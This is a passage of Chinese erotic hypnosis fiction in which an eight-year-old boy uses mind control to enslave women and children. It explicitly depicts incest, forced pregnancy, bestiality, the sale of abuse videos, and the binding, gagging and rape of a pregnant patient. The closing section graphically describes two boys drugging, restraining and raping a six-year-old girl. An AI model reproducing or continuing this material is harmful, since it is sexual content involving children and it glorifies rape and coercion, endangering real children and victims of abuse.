图片载入中

红瞳 第三节(催眠超长篇类小说)不值钱你骂我 已超过最高字节 所以只能分三段发.勿喷

特大字】 【大字】 【中字】 【小字

当妈妈和芭芭拉到浴室淋浴,当然,是姊妹俩一起的鸳鸯浴,汤米对丽莎和苓铃吩咐。

“苓铃,你呆在家里好好休息,没什么事的话,就练习手淫,需要什么东西就叫莎曼珊,我要你乖乖地等着当妈妈。”

“莉萨,找建筑工人来,我们需要多盖些马厩。同时也看一下分类广告,看看有没有任何牛只待售。联络他们;我们不需要任何阉牛,只要公牛和母牛,不过不用太多。”

“还有,在我卧室床旁边,有一大堆内裤,从你们几个女孩子那边来的。你知道我要什么,对吗?”

莉萨点头,从上衣领口的肌肤起,羞红成一片。

汤米往前伸手,再解开莉萨一颗扣子,这样,所有人都能明显地看到她的领口。

“我还要你再多买些项圈,还有一些大号的狗屋,这屋子以后会很挤,我们将会多加些女人来当我的…牲口。”

芭芭拉和妈妈出现,两姊妹穿着华贵,妈妈穿着一套黑色上班服,白色上衣,及膝套裙,黑色长袜与高跟鞋。

汤米微微一笑,知道妈妈穿没有内裤。

芭芭拉穿一件丝衬衫,只是似乎胸部太紧了,她每次一移动,汤米就看到从乳色质料胸罩上面透出来的蕾丝轮廓。

一套法国布根地裙子,后方开叉之高,足以把黄褐色裤袜,完全显露出来。

汤米知道阿姨也没有穿内裤。

指着阿姨,汤米简单地说:“今晚见律师与法官,对吗?”

芭芭拉点头。

走到桌子边,汤米拿起妈妈的秘密家庭影带,放入背包。

走近妈妈,汤米拍拍她,把头贴在妈妈肚子上,已经放弃一切的妈妈,则发狂也似的地紧紧搂着他,脸庞流过眼泪。

“汤米,妈妈爱你。”妈妈流着眼泪,哭道:“妈妈已经什么都没有了,以后,妈妈会专心作你的女人,心甘情愿生儿子的小孩,可是,求求你,别再这样对妈妈…..”

“妈妈,我也爱你!”

男孩很满意,知道妈妈已经完全成为自己的性玩具。为此,他微笑着,想象手上的胎动,在这女人的小腹里,自己的第一个孩子正在成长。

“妈妈,放学后来接我,我要给你们这些女孩子一些新的侍奉内容,你们将分别待在家里,厨房里,一起给我搞,还有,一起怀孕。”

汤米听到喇叭声,急忙跑出门,偶然瞥见莎曼珊正辛勤地工作来赎罪。

冲下小路,追赶巴士,录像带在背包里弹跳着,汤米正在考虑。

似乎该是让鲍分享自己的秘密、好运的时候了。

第八章 商人?汤米的奴隶市场

汤米送妈妈去上班,自己也去学校,感觉非常得意。

现在,他的妻妾群已经有五个,有妈妈、阿姨、亲妹妹、褓母,还有学校偶像的“表姐”,其中有两个甚至怀孕了!

对一个八岁男孩来说,还有什么事比这更快乐呢?

来到学校的第一件事,就是找到鲍。

“鲍,我知道我们应该上学,不缺席,不过,我今天想要休假。你怎么说?”

鲍微笑,弄不太清楚,“汤米,你在胡扯什么?你还以为学校会让我们逃学吗?”

“事实是,他们会。”

鲍摇动不信,却还是跟着他的朋友进入考勤室。

负责考勤的克拉克女士,比以前看起来更老、更多皱纹,微笑着处理点名单。

“早安,汤米,你妈妈和妹妹都好吗?”

汤米微笑后面的,“早安,克拉克女士,我妈妈和妹妹都怀孕了。”

克拉克女士惊讶得合不拢嘴,而当她瞧见了汤米的眼睛,面部肌肉松弛了下来。

“汤米?”鲍问道,“她怎么了吗?”

“没什么。”汤米答复道:“她只是被我控制了。看我的,克拉克女士,你正在你医生的办公室,鲍是你的医生。他要检查你发臭的老穴。”

这名半老徐娘从椅子上退下,当鲍看得惊讶莫名,克拉克女士拉起了她黑色裙子,将内裤拉到脚踝。

对鲍微笑,汤米道:“往前看看病人吧!鲍医师。”

鲍凝视着克拉克女士露出的耻毛,她太老了,发黑的阴唇松弛在腿间。

“汤米…为什么…?”

“我不知道。”汤米道:“当我看镜子的时候,我发现自己眼睛会发光,而那以后就能像这样,催眠人们,指挥他们。别看我的眼睛;假如你看了,就会像那些人一样。”

鲍不知道该说些什么,但他别开眼,盯着眼前的成人老穴。

“我可以摸摸她吗?”

“当然可以,假如你忍心虐待自己…..”汤米笑道:“假如你跟我走,我可以让你得到些更好的东西,一个处女,任何一个你要的女人。”

鲍点头,不敢在汤米身前片刻,以免看了他的眼睛。

汤米走上前,结束对克拉克女士的游戏。

“克拉克女士,你不会和任何人说到我妈妈和苓铃,一切似乎完全合乎常理,她们两个本来就应该怀孕。”

“克拉克女士,你的农场养了头公牛,对不对?”

克拉克女士点头,微笑道:“是的,汤米。”

“好。你已经注意那头公牛一段时间了,你很久没有性了,不管你什么时候看到、想到那只公牛,你会重新记起曾有过最美的一次性爱,而当你回想的时候,你会记得那些男人就像那只公牛…事实上,你根本不确定,这一生是不是没和牛做过。”

克拉克女士点头,眼睛一片空白。

“和公牛做爱…”

汤米瞥了一眼鲍撑起帐棚的腿间,微笑。

“好,克拉克女士,以后的日子,你也记得我们都有来上课,除非我再改变命令。”

克拉克点头微笑,“当然了,一切照你的意思,汤米。”

汤米锁住克拉克女士的眼光,打开她桌子抽屉最上面一层。

学校里的每个人都知道,克拉克女士在那里留了几张她得奖公牛的照片:在郡比赛里得奖的照片,一头硕大的公牛站在她身后;在草绿山丘上,她和她的公牛和一群母牛的照片;还有一张汤米没有看过的,克拉克女士最大的一头公牛骑在母牛上的照片。

当看着这副照片,汤米傻的连控制都忘了。

唔!或许自己没有弄错克拉克女士的心理。

克拉克女士看见汤米盯着她的‘秘密’照片,开始抗议,但是,当她注意到那头公牛,她自己的公牛,她发出沉重地喘息。

倒尽胃口的汤米和鲍,从房间里连滚带爬地跑出来。

克拉克女士很纳闷,为什么自己的裙子给翻上,内裤拉到脚踝。不久后,几个呻吟从关上的门里隐约传出,很明显地,这个饥渴的老女人不在乎。

汤米和鲍相视而笑,离开学校,前往芭芭拉医生的妇产科诊所。

当他们彼此开完玩笑,鲍沉默下来,然后,他转头对朋友问道:“汤米,你妈妈和妹妹真的大肚子了吗?”

“真的大肚子?鲍,是我搞大她们肚子的。她们肚里怀的是我下的种,而今晚,我也要让莉萨和莎曼珊肚子大起来。”

“莉萨?”鲍喘气道:“你真的进到莉萨内裤里头去了?”

“她是我的第一个。”汤米露齿一笑,瞧着朋友崇拜的脸。

“不可能!你是说真的吗?还有莎曼珊,那个练体操的校花呢?她爸爸妈妈一定要疯了…汤米,你真的作啦?”

汤米微笑,点头。

“我们今天会收养莎曼珊。”

“汤米,你是怎么让她们怀孕的?”

“等我们到诊所,我的芭芭拉阿姨将告诉你任何你想知道的东西。”

鲍迅速地跟在汤米身后,表情因为专心而显得紧张,正在整理他最好的朋友刚刚说的东西。

****************************

当他们芭芭拉工作的专业医务大楼,鲍凝视着一个缓步走出门的孕妇。

在寂静的大厅中,他对汤米耳语,“你妈妈对这一切怎么想?”

汤米走近电梯,按下按钮,回答道,“她不喜欢这些,认为这些都是错的。”

口中一面说,男孩想着:“妈妈实在想得太多了,也许今晚我该把她的大脑废掉,让她变成她一个宠物,一头像奇巴那样的牲口。”

“鲍,女人只是玩具。玩起来有乐趣就行了,你不必管她们的情感,或者她们正在想什么。”

电梯带着两人往上,鲍听得越来越刺激。

“是啊,你说的没错,但是你自己的妈妈呢?”

汤米道:“这女人很烦,总是要我做这做那,你希望她再当回人类?”

“不,我想不要的好,汤米。”鲍说道:“那…你妹妹呢?你一向最疼她的!”

提到妹妹,男孩不得不沉默了,好半晌,他瞧了朋友一眼,饶有深意地说道:“特别是苓铃,鲍。”

看见朋友锐利的眼神,鲍不敢再问,这时电梯门打开,两个男孩穿过大礼堂,进入妇产科诊所。

等候室挤满了人:一个红发女子大腹便便地坐在角落,一个穿着上班服装的妇人和她刚开始发育的女儿坐着,一个金发女郎挽着丈夫的手臂,还有二十几个黑人妇女。

当他们走进,刹时一片沉默,那对夫妇停止谈话,一个黑人妇女放下了阅读中的期刊。当这两个小孩停止讲话,一片沉默使得黑女人放下了阅读中的过期杂志,擡起头来看他们。

“汤米?”护士在柜台窗口,一个绽着炫目微笑的年轻女孩问道。

汤米点点头,穿过等候室,走到门前,等候室恢复原来的喧闹。

“她正在等你。”护士接着道,站在门边,帮汤米和鲍开了门。

护士名条别在紧紧的,白色的制服上,‘薇薇安’。瞥见鲍腿间高高的帐篷,薇薇安迅速地舔了舔嘴唇,让两个男孩看个正着。

在他们有任何反应之前,芭芭拉来到了转角处,薇薇安急忙回到柜台。

“别管薇薇安,汤米,她是我们的一分子。”芭芭拉伸出手,对鲍微笑,“这代表她知道自己的身份,就像我一样。小男孩,你好,我是芭芭拉,汤米的阿姨。”

鲍连忙与她握手,他的嘴动了几下,好像要说些事物,但还是没有说出口。

“这是鲍。”汤米为朋友介绍,“他为了脱离处男身份而来。”

“一切都照您的意思吧。薇薇安,我们待在第一诊疗室里,别让任何人打扰我们。”

“知道了,医生。”

当门在身后关上,鲍摇了摇头,

眼前的众多照片令他不知所措,女性性器的医学特写,在检验台上拍下,特别的是身上都缠了拘束带和奇怪的装置。

“有没有看到哪个喜欢的?”汤米问他,让鲍的注意力回到手边工作。

“哪个都行吗?”鲍望向紧闭的门后。

“呃!你可以在这里随便选一个,但芭芭拉不行。她是我的禁脔,也是将要为我生孩子的女人。”

“知道了,汤米,你说什么我都听。你知道外面那个带着女儿的太太吗?”

“克劳馥太太。”芭芭拉提示道。

“嗯,我想是吧。”

“漂亮的选择。我让薇薇安带她进来吧?”

“不,不是她。”鲍脸红道,“我要那个女孩。”

汤米笑了。

“没问题!你可以同时拥有她和她母亲。”

“真的吗,汤米?我真的能…上她?”

汤米点头。

芭芭拉微笑,在笔记板上看了一下挂号顺序。

“克劳馥太太是带女儿凯蒂来做第一次检查的。”

在墙上的通话器按下按钮,芭芭拉道:“薇薇安,请带克劳馥太太到第一诊疗室。”

“我能让她怀孕吗?”

当汤米望向芭芭拉,她摇摇头,“那女孩还太小了。”

汤米微笑,拍拍垂头丧气朋友的肩膀。

“小意思啦,鲍。假如你真的想搞大那女人的肚子,那么等她长大以后,我会让她再回来的。”

沉默一会儿,薇薇安让克劳馥母女进入房间。

当看到房间里的两个男孩,克劳馥太太呆在门边。

“医生,这两个人在这里做什么?”

“克劳馥太太。”芭芭拉主动伸手问好。

为了要握手,克劳馥太太只得上前一步,后面的薇薇安趁机关上门,芭芭拉则满足了她的问题。

“他们将在这里检查你的女儿,准备和你女儿发生性关系。”

克劳馥太太的嘴张开,然后又闭上,血液冲上脑部,眼中闪烁着怒气,她怒吼道,“你说什么?我不知道你认为自己在做什么,但你的执照…”

当汤米吸引住她的眼光,声音停止了。

“克劳馥太太,你有名字吧?”

“珊玉。”

“很好,珊玉,我要你告诉我们,你曾有过最好的一次性经验。”

“我有过最好的性经验…”克劳馥太太喃喃语道:“十八岁那年的夏天,男朋友比尔,他带我去水晶湖郊游。我们吃晚餐,看太阳下山,稍稍泡在冰凉湖水里,然后,在星星之下,我们一小时又一小时的做爱。我再也没有像那个晚上一样舒服过…”

“很好,珊玉。现在靠近一点听。不论什么时候,当你想到鲍在这里干你女儿,你就会想到那天晚上和比尔一起的感觉,你还记得吗?”

汤米道:“一想到凯蒂伺候鲍,那感觉就很舒服。虽然,你一开始不会有高潮,直到你看着鲍达到高潮。你越想到鲍和凯蒂,你就变得越饥渴,但你知道,除非凯蒂变成他的性奴隶,不管愿不愿意,你无法得到纾解。当凯蒂再一次侍奉鲍,你会再一次重温当时的感觉。”

珊玉?克劳馥点点头,汤米停止了控制。

“过来,鲍,我们还有些东西要做。”

“你说什么?”鲍喊叫道,“我和那个女孩又要怎么办?”

“你只有再等些时间了。”汤米答着,看着克劳馥太太。

她仍十分愤怒,但每一次她说到鲍和凯蒂,就不由自主地闭上眼睛,浑身战栗。

“让她们呆在这里,芭芭拉。把这外面那个红发孕妇留下,我还没有干过孕妇。真不知道她是怎么怀孕的,肚子可以大成这样。”

芭芭拉笑道:“她已经有九个月的身孕,再过几天就要生产了。”

“好。”汤米笑道,“我们离开个几小时。”

汤米看着鲍;他正盯着凯蒂的腿。

每一次,珊玉想过来拉开鲍,她便半途止步,气喘吁吁,汗流不停。

凯蒂?克劳馥穿着一条蓝色短裙,上衣连着一个小小气球。她绑着马尾,脚上只有一双粉红色袜子和凉鞋。从裙下望去,汤米可以看到印着“女超人”的内裤。

“好啦,鲍。相信我,等待将是值得的。”

当朝着那名红发孕妇的大肚子注视良久,汤米的想象力开始飞扬,对自己一笑。

“相信我,等待是绝对值得的。”

“我们要去哪里?”当两人来到外面街道,鲍心有未甘地追问。

“黄色书刊店。”汤米答道:“卖掉妈妈和我们的小马奇巴、我以及我所有女人的录像带。”

“卖录像带?”

“没错,当妈妈不再上班,我要怎么养活自己和我所有的女人呢?我是说,你晓得,就算是狗食,也不是免费的。”

鲍呆了一分钟之久,处理朋友说的话。

“狗食?你是说莎曼珊吃狗食?”

“当然。我才不会把人类的食物浪费在她们身上。”

“老天,我还真想见识看看。”

“你会看到的。”汤米答道,伸出了手。

“我们是朋友吧?”

“一辈子的朋友!”鲍迅速地答复,与他牢牢地握着手。

汤米又笑了,他第一次注意到,原来鲍也有个可爱的小屁股。

******************************

这地区附近非常黑暗、危险,但汤米知道,这里就是莉萨应他的命令,买到马具和录像带的地方。

他要选择一家看起来不错,可以拿背包里的东西交易的同好商店。关于这点,芭芭拉已经告诉他,哪一家是比较适合的店铺了。依照阿姨的推荐,汤米很快就看见了他要的地方。

在某扇门上写着‘奴役菁英’,店面窗户之上,一片漆黑,另个告示,贴在门上,用粗劣的笔迹写着:‘十八岁以下绝对禁止’。

汤米不管它,推开这扇门,进入这个闻起来十分污浊的商店。

店里这时没有别的客人,随着他们进入,门铃响起,一个高壮的黑人正在柜台上看杂志,门在身后用力关上,而汤米和鲍敬畏地看着数百张裸女与叫不出名字的性行为的封面。

“快给我滚出去!你们看不懂英语吗?”黑人职员怒吼,举起脚大步走向他们。

汤米后退一步,怕这黑人一下冲到面前,接着,突然想起了自己的目的和能力,他灵巧地捉住这大个子的眼睛。

“叫你们老板出来,我们有很重要的事要找他谈谈。”

黑人职员从一扇标示有‘非工作人员勿入’的门走进去,几分钟过后,跟在另一人背后回到店里。

新来的这人有着黑色头发,穿着一件非常高级的灰色西装。

“你们这两个小鬼想做什么?列林你这个笨蛋,我们会因此关店的!这是一种肏她妈的玩笑吗?列林,你马上把这两个小鬼弄出去。”

“等等!”汤米命令道,看着老板的眼睛。

列林停止动作,询问着他两眼无神的老板,“伦道先生?”

脑中急转,汤米对伦道先生道:“我们真应该在你办公室里好好谈谈,你赞成吗?”

而捉住列林的眼睛是容易的,“我们不想被打扰。”

他们跟着伦道先生经过那扇门,走进一间狭窄的办公室。

伦道先生往椅子上一坐,粗着嗓子道:“你有二分钟时间来说服我,让我不会把列林叫回来,把你们给踢出去。”

汤米微笑着,将手伸入背包。

“这个嘛!我们一起看卷录像带如何?”

********************************

一小时后,伦道先生呆坐在椅子上,凝视着妈妈在马厩伺候奇巴,人马同欢的画面。

他也算精于此道,看得出这片子没有做假,拍得十分精细。

“孩子,你从哪里弄来的?”他问道。

“我拍的。”汤米答复,“那是我妈妈。”

“你有个好妈妈,孩子。”伦道嘲讽道:“我也希望有个那种妈妈。”

“好了,你认为这东西值钱吗?”汤米问道。

“不太值钱。”伦道先生慢慢地回答,“这东西是非法的。但我是一个玩得起的人,一支片子可以给你五块钱。”

汤米皱眉,“伦道先生,我可能只是一个小孩,但我也是个知道女人是什么的小孩。少对我说什么‘这东西非法’的狗屎话,你难道不在乎这可能是一个市场吗?有还是没有?”

伦道先生将手指交叠在一起,想着种种问题。

然后他看回汤米,道:“这是一桩交易,孩子,我要冒这个风险,但我也能获取利益。我将付你三十万买下你妈妈的带子,十五万买下往后的,还有销售所得的三成利润。你妈妈的带子肯定销路很好;如果你肯制造更多的带子,那么,在欧洲市场,她或许将成为最热门的性感女奴。”

“‘制造更多’不是什么问题。假如价格够优渥,妈妈和女孩子们可以做任何特殊的要求。嗯,还有点其它事,你知道附近有一个裸舞俱乐部?”

“在这个区域里,裸舞是违法的,孩子。”伦道先生自嘲地笑了笑,“当然,我还是有特殊的管道。”

“好,我的女孩子们需要很多练习机会。我想她们可以轮流在你俱乐部里上上班。”

“她们肯上台表演吗?”

“‘上台表演’?你是说,和你俱乐部里的男演员一起表演?”,汤米思考着。

“你也是行家啊,孩子。我会保持个人‘跳舞’的尺度,我们的医生会帮所有人检查,女孩子们也是一样。我可不想损失掉这些摇钱树。”

“好。她们可以表演任何事物和两条腿的,或四条腿的,只要这些东西是干净的,而且她们不会受到永久的伤害。”

汤米正色道,“我爱妈妈,也爱我的妹妹,而她们正怀着我的小孩。”

伦道先生耸耸肩,问道:“有没有打算要卖掉她们中的任何一个?”

汤米沉默了一分钟,这件事是他之前从没想过的。

鲍跟着说,“伦道先生,你是认真的吗?销售女人?”

“当然,她们就像家畜一样。”

“不要,我说过了,她们当然是家畜。”汤米回答道,“不过却只是我自己的家畜。”

伦道先生斜瞥一眼,嘲笑鲍突然变白的脸孔。

“然后,孩子,我想我们是商业盟友了。这里是二十五万,我会让列林知道你有一块这里的贵宾卡。而且,你们可以拿走任何你们喜欢的货物。”

“两件事。伦道先生,既然我们是商业伙伴,你为什么不叫我汤米呢?还有,当我的女孩子在你俱乐部‘跳舞’时,我也要在旁边看。”

“小意思,汤米,和你做生意,让人非常愉快。别担心,当她们上台表演时,你一定会看到的。”

汤米小心地将钱放入背包,他与鲍长这么大都没看过这么多钱。

然后,离开之前,他们拿了些录像带目录走。

两人头也不回地离开这地区,回到妇产科去。

***************************

电梯门才一打开,汤米和鲍就听到刺耳的叫声,走进诊所,他们看见那名红发孕妇正在对薇薇安吼叫。

“我已经等超过两个钟头了!”

“是的,兰妲太太,我了解。”薇薇安正在应付,而当她看到汤米,当下诡异地一笑。

“让你久等,现在可以进去了。请跟我来,我带你到第二诊疗室。”

汤米看着红发女郎蹒跚地朝门走去,她的大肚子因为里头孩子的重量而下垂,让人更一目了然,里面正怀着孩子的事实。

红发女郎穿着一件粉蓝色孕妇装,衣衫颇厚,汤米看不到里面的东西,柔顺的红发披散在背后,看起来大约二十七岁,她捧着肚子,慢慢前进,脚踝上裹着白色短袜,穿着朴素的褐色平底鞋。

“汤米,你能对她们做任何想做的事汤米,对吧?”鲍敬畏地耳语。

“我正在学习。”汤米微笑。

“然后,我们真的能把她们变成宠物?我是说,像是训练过的狗?”

汤米回答之前,克劳馥太太走到走廊上,直直地盯着鲍,惊叫道,“是你!”

她粗重地唿吸着,小凯蒂握住她的手,露出疑惑的表情。

当克劳馥太太跪下来,将凯蒂的手交给鲍,他几乎高兴得跑了出去。

“拜托,给你!”

鲍呆住,“给我?要作什么?”

克劳馥太太看起来似乎饱受煎熬,眼中冒着血丝,道,“你知道的,给你。”

“妈咪?”凯蒂往上看着她母亲,“这男孩是谁?”

“闭嘴凯蒂,不论他说什么,你乖乖的照做就好。”

鲍紧张得只会眨眼,然后,汤米轻推他,露齿一笑。

“我不知道你的意思,克劳馥太太。”鲍道,了解了汤米的提示,“我只是一个小孩,我不知道你要我做什么。”

汤米转身走向芭芭拉的办公室,而克劳馥太太牵着鲍和她女儿进入第一诊疗室,准备教导鲍应该怎么做。

当汤米走进来,芭芭拉正看着兰妲女士的检验报告,回答他的问题。

“临盆的日子已经很近了,非常近,可能今天或是明天,她就要分娩了。她现在在产台上,为了让您方便享乐,人已经给绑牢了,主人。”

“绑牢了?”汤米问道。

芭芭拉点头微笑,“我用皮带捆住我病人的脚踝,让她们不会乱动。”

汤米深皱着眉头,“所有医生都那么做?”

“不是。”芭芭拉回答道,“但大部分的人会接受它,如果医生说这是一种新的医术。”

汤米微笑着走进去。

兰妲女士躺在诊疗台上,穿着一件后开式的长袍,两腿大大地分开,脚后跟给拘束具固定,像芭芭拉说的,一个厚厚的皮带紧紧缠在两只脚踝上。

汤米愉快地看着她的脚趾卷曲着,手臂悬在两侧,松松地放在两个连在台子上的皮圈上,通常,那是妇女用来帮忙承受阵痛的工具。

当门打开,兰妲听到开门声,微笑往上看,“嗯,医生,我觉得…”

她的声音停住,就在眼前,小汤米正对她微笑,而芭芭拉医生正巧在他后面。

“把这个男的带出去!”兰妲喊叫着,连忙想遮掩自己暴露的阴部。

在她开始挣扎之前,芭芭拉抢上一步,将绕着手腕的皮圈猛力一拉。

“你…你在做什么?!我要告你!你疯了吗?不要,住手,住手!”

芭芭拉微笑,将一卷纱布塞进兰妲女士嘴里,让她的叫声成了一串消音后的“唔唔唔唔!”

当这名孕妇试着用手肘撑起身子,她看见了恐怖的景象,汤米已经脱光,挺着他的小阴茎。

汤米微笑道:“我知道你是孕妇,而我正想要玩一玩这个调调。芭芭拉,你知道婴儿的性别吗?”

“一个女孩。”芭芭拉笑着,舔起她病人的咽喉。

“好。”汤米道,“我要射在她的小脸上。”

汤米从衣服堆上走过来,欣赏兰妲脸上恐惧与愤怒的混合表情。

他的小手伸到医院长袍下,而当汤米摸到阴唇边,兰妲惊得身体僵硬。

“没有毛?”

“我知道您喜欢这样,所以我事先告诉过这个笨女人,这样对身体比较干净,而她已经把毛为您全刮干净了,主人。”

汤米笑着拉起长袍,而芭芭拉执起一把小刀,将长袍切开剥下。

汤米凝视着女人的大肚子,小腹上平滑肌肤突然在接近肚脐眼处鼓起,然后,一个快速的曲线,滑落在光秃秃的蜜穴上方。

“能不能把这产台打开一点?”

“当然,我们可以用这些手把来调整。”芭芭拉道,手底下也完成了工作,割开了那件薄薄的袍子。

兰妲惊恐地看着汤米转动手把,将她的双腿慢慢分开成一个猥亵的七十度角。她拼命想吐出纱布,唿叫求救,却令汤米的阴茎,因为紧张而更加怒举。

汤米凝视着自己的俘虏。

芭芭拉再把纱布拍牢,不让兰妲有机会从嘴里吐出去。

兰妲的肚子好大,婴儿至少有十二磅重,汤米不由得想象,自己的妻妾群也将要变成这样了,马上就要。

老天,假如苓铃的小肚子也这么大,她看起来一定像只给填满的火鸡!

汤米的手在乳房徘徊,这里总是是他的第一站,她们看起来好大,好像肿起来一样。男孩微微一笑,伸手抚弄,温柔地逗弄乳头。

兰妲泄出几声呜咽,仍然撑起身子瞪着汤米,而汤米完全从容不迫。

“如你所知道的那样,兰妲,我马上就要干你了,我会慢慢来,喜欢干你多少次,就能干多少次,干到你连话都说不出来。”汤米微笑着,将嘴唇贴上左乳,稍稍一吸之后,他品尝到一股香甜的母乳,当下微微一笑,更用力地吸吮着。

兰妲慢慢地躺倒在台子上。

汤米瞧见芭芭拉也加入他,一起吃午餐。他们开始舔舐这女人的奶头,慢慢地将母乳啜干,大大地减少了胸部的尺寸。

此刻,兰妲正轻声喘着气,一层薄薄地汗珠掩住她的腹部,她轻轻地与锁住手腕的皮环挣扎。

汤米抚过兰妲圆滑的小腹,感觉到孩子在母亲体内轻踢,微微一笑。

“芭芭拉现在会帮你拿掉口里的东西,当我开始肏你,你可以帮她舔一舔,假如你不肯保持安静,事情可能变得更糟。”

当纱布一给拿开,兰妲立刻想要大声尖叫。

不过,此刻诊疗室里除了鲍和克劳馥母女,空荡荡地一片。汤米甚至听到可怜的鲍在祈求,那家伙不知道该怎么做。

汤米摇摇头。

“坏女孩。”

薇薇安走了进来,而汤米开始将兰妲的臀部拉到台子边缘。

靠着薇薇安的帮助,兰妲的大白屁股很快露了出来。

汤米扬起手,开始痛掴这个不听话的女人。

起初的几下细痕就像被蚊子叮过,但是,当男孩的手掌,在兰妲的大白肉屁股上留下一个又一个红印,没多久,整个屁股都红透了。

刚开始,汤米还能看到手印,而不久之后,只剩下一整片的深红色。

兰妲开始挣扎,她的小腹不住弹动,直到汤米看上了她的眼睛。

“难怪妈妈那么喜欢打我屁股…..”汤米狡黠地笑着,他想到了今天回去后对妈妈的新处分。

大约十分钟后,红发少妇开始哭泣,屁股上渐渐出现瘀伤。

“你愿意听话吗?”汤米试着让声音听起来像个成人。

汤米再加强了目光,终于看见了她的点头。

芭芭拉放开她的嘴,此时,兰妲默默不语。

“我的名字是汤米。等一下,当我开始肏你的时候,芭芭拉会帮你作作脸部按摩…”

“但是,你只是个小孩啊!”兰妲低泣道。

“没错,兰妲,但让你变成这副模样,等着挨插的,可就是我这个小孩。”

“但,我的女儿…”

“…..我会用精液好好帮她洗洗脸,你只要躺下,张开两腿享受就行了。”

浑身打颤,兰妲无力软倒,芭芭拉张开腿,主动拨开蜜唇,腰部一沈,将胯间掩住兰妲口鼻。

可怜的红发少妇挣扎了一会儿,芭芭拉微笑道:“假如你还想唿吸,用力顶开我的阴唇吧。”

汤米看了一会儿,当芭芭拉的阵阵津液滴洒在兰妲脸上,一旁的薇薇安也笑了。

汤米拉过张个凳子,放到兰妲腿间,他站在凳子上,从容不迫地开始进入,一面爱抚孕妇的大肚子,再次惊喜地感觉婴儿的踢动。

“兴奋吗?小东西?有没有看到一根大鸡鸡啊?”

汤米踮着脚,趴在兰妲身上,紧贴着她的小腹,让身下的女人承受自己重量,当她和他的臀部密合时,两人的腹部曲线也紧密无间。

踮着脚趾,他开始干着这束缚中的孕妇,兰妲的阴户,似乎比一般时候更温暖、更紧。

汤米捧起兰妲的两片肥臀,发现自己在抽插之余,也开始低哼。

越过一双摇晃中的乳房,视线往上瞧,汤米看见芭芭拉激烈地扭动着屁股,兰妲也在窒息的威胁下,不得不伸出舌头,舔舐阿姨的蜜唇。

抽插中,兰妲下意识地拉扯着束缚她身体的产台,嘶嘶作响,而随着抽送益显激烈,汤米两颗睾丸拍打在她两片屁股蛋上。

汤米吃吃地笑起,“告诉你女儿准备叫吧,我…射了!”

男孩往前一挺,年轻的肉棒深入红发少妇的大肚子里。

汤米不住地向前倾,感觉那肚子里的小孩,竭力地将睾丸中的精液点滴喷入。

汤米放轻松,并不觉得特别兴奋,或是特别想肏一个孕妇。

但现在,事情结束了,兰妲并无法挽回什么。

芭芭拉紧张地仰视着汤米,“我是不是该….”

“不用。”汤米微笑道:“你可以慢慢玩,我要去照顾一下未解人事的朋友,薇薇安,跟我走。”

****************************

克劳馥太太跪在地上,抱着鲍的脚踝、亲吻他的脚,回答道:“请用吧,鲍,她是你的。占有她吧。送给你也可以。”

鲍吃吃地笑起,“真是不可思议,你们看看她。”

“薇薇安,我想凯蒂还在等候室吧。把她带来这里。”

“妈咪,我不要这样。”当薇薇安把人带进房间,凯蒂抱怨着。

“鲍,你还不剥光她?”

鲍微笑着,动着战栗的手,开始将这小女孩的蓝衫子拉过头脱下。

“妈妈!”凯蒂叫着母亲。

“我就在这里,蜜糖,让这帅哥哥帮你脱衣服吧。”

“不要!”凯蒂抗议着,但鲍已经将衣服脱掉了。

小女孩坐在地板上,身上只有内衣裤、短袜与胶鞋。

克劳馥太太的手沾满冷汗,她两次移动到女儿身边,但一阵阵快感立刻冲击脑部,逼得她停下步来。

汤米对薇薇安点点头;护士帮忙把小女孩放在不锈钢台子上。凯蒂看起来非常地沮丧、孤独,因为紧张与寒冷发着抖。

“就像这样,鲍。”汤米说着,透过内裤,轻戳起凯蒂的小嫩穴。

“不要!”小女孩又开始喊叫,紧闭上腿,忙把汤米推开。

不过,克劳馥太太走过来,将女儿手臂握到一旁,对鲍微笑。

“请继续做,鲍。”克劳馥太太说着,两脚发软,看着男孩的手隔着内裤,戳弄着女儿的柔软蜜唇。

薇薇安灵巧地拉下鲍的裤子,稍稍打扰了他的探险。

“妈咪!妈咪?他在碰我那个地方….”

“我知道,蜜糖,那没什么关系。”

鲍几乎没有注意到裤子和内裤被拉下,全神贯注地盯着棉内衣上的一小底湿渍。

“我们可不可以绑起她?”鲍上气不接下气地问着,在下面,白衣天使已经开始爱抚他硬挺肉棒下的年轻睾丸。

汤米早就超前进度了。

首先,六岁小女孩的内衣被褪下,露出平滑的裸胸、稚弱的小乳头。

当鲍轻抚起这片酥胸,小女孩不解地看着。

然后,汤米用一些坚固的外科用胶带,将她的小手绑在背后。

鲍笑了起来,盯着女孩子神秘的腿间。

克劳馥太太伸过手,用力拉女儿的脚踝,除去鞋子和短袜。

男孩与女孩的最后障碍也落到了地上,鲍慢慢地伸出手,碰触着柔嫩的无毛蜜唇。

凯蒂开始柔柔地呻吟,她的抗议音量更减,“不要….拜托你….”

鲍看着汤米,注意到他身后有个罐子。

“我们能不能弄昏她?”他问道。

“没屌的小子。”汤米暗骂一声,为了朋友的没胆识而不悦,不过,当薇薇安望向他时,还是点了点头。

汤米看着护士去拿面罩,一面对鲍轻道:“你要她昏到什么程度?”

“能到什么程度?”

汤米把凯蒂推到台子中心,薇薇安将面罩套在她脸上,紧紧地一固定,透过橡胶面罩,只能听到小女孩无力的唿唤,“妈咪?妈咪…呜…”

克劳馥太太在地板上注视着一切,手里激烈地手淫。

鲍紧张地盯着女孩,几分钟后,她的眼皮开始垂下。

“妈咪…我好想睡…..”

薇薇安微笑,调整瓦斯的流量,让面罩持续封在小女孩脸上,而鲍松了一口气,放胆地将中指探入女孩的私处。

“搞定了,鲍,。”汤米微笑,“我怀疑她现在还能说不。”

“我…..我现在应该做什么!?”鲍的唿吸便沉重了。

“看到自己的鸡鸡了吗?”

鲍点头。

汤米伸出手,拨开小女孩的嫩穴,“你认为这洞是做什么用的?”

鲍笑着将凯蒂的脚后跟绑到产台上,让六岁女孩的两腿大大打开。

握住肉棒,鲍缓缓地进入她,克劳馥太太在一旁呻吟。

“嘿,为什么我没办法往前推。”鲍一面说,看着自己的阴茎大约进了四分之一。

“那是她的处女膜,蠢蛋,继续,用力!等一下会有一些血,但那是正常的…”

鲍握着小小的阴茎,深吸一口气,突刺入小凯蒂,把小凯蒂推向台子的另一边,直到绑住的双腿阻止了她的继续移动。

他感觉一阵轻轻的裂疼,小阴茎已经进入女孩的肚子。

鲍大大地张着嘴。

这小女孩的感觉真是不可思议,湿热的肉壁温暖地裹住他,缠着他的阴茎。

汤米微笑着,让薇薇安从凯蒂脸上取下面罩,而现在,小女孩正轻轻打盹。

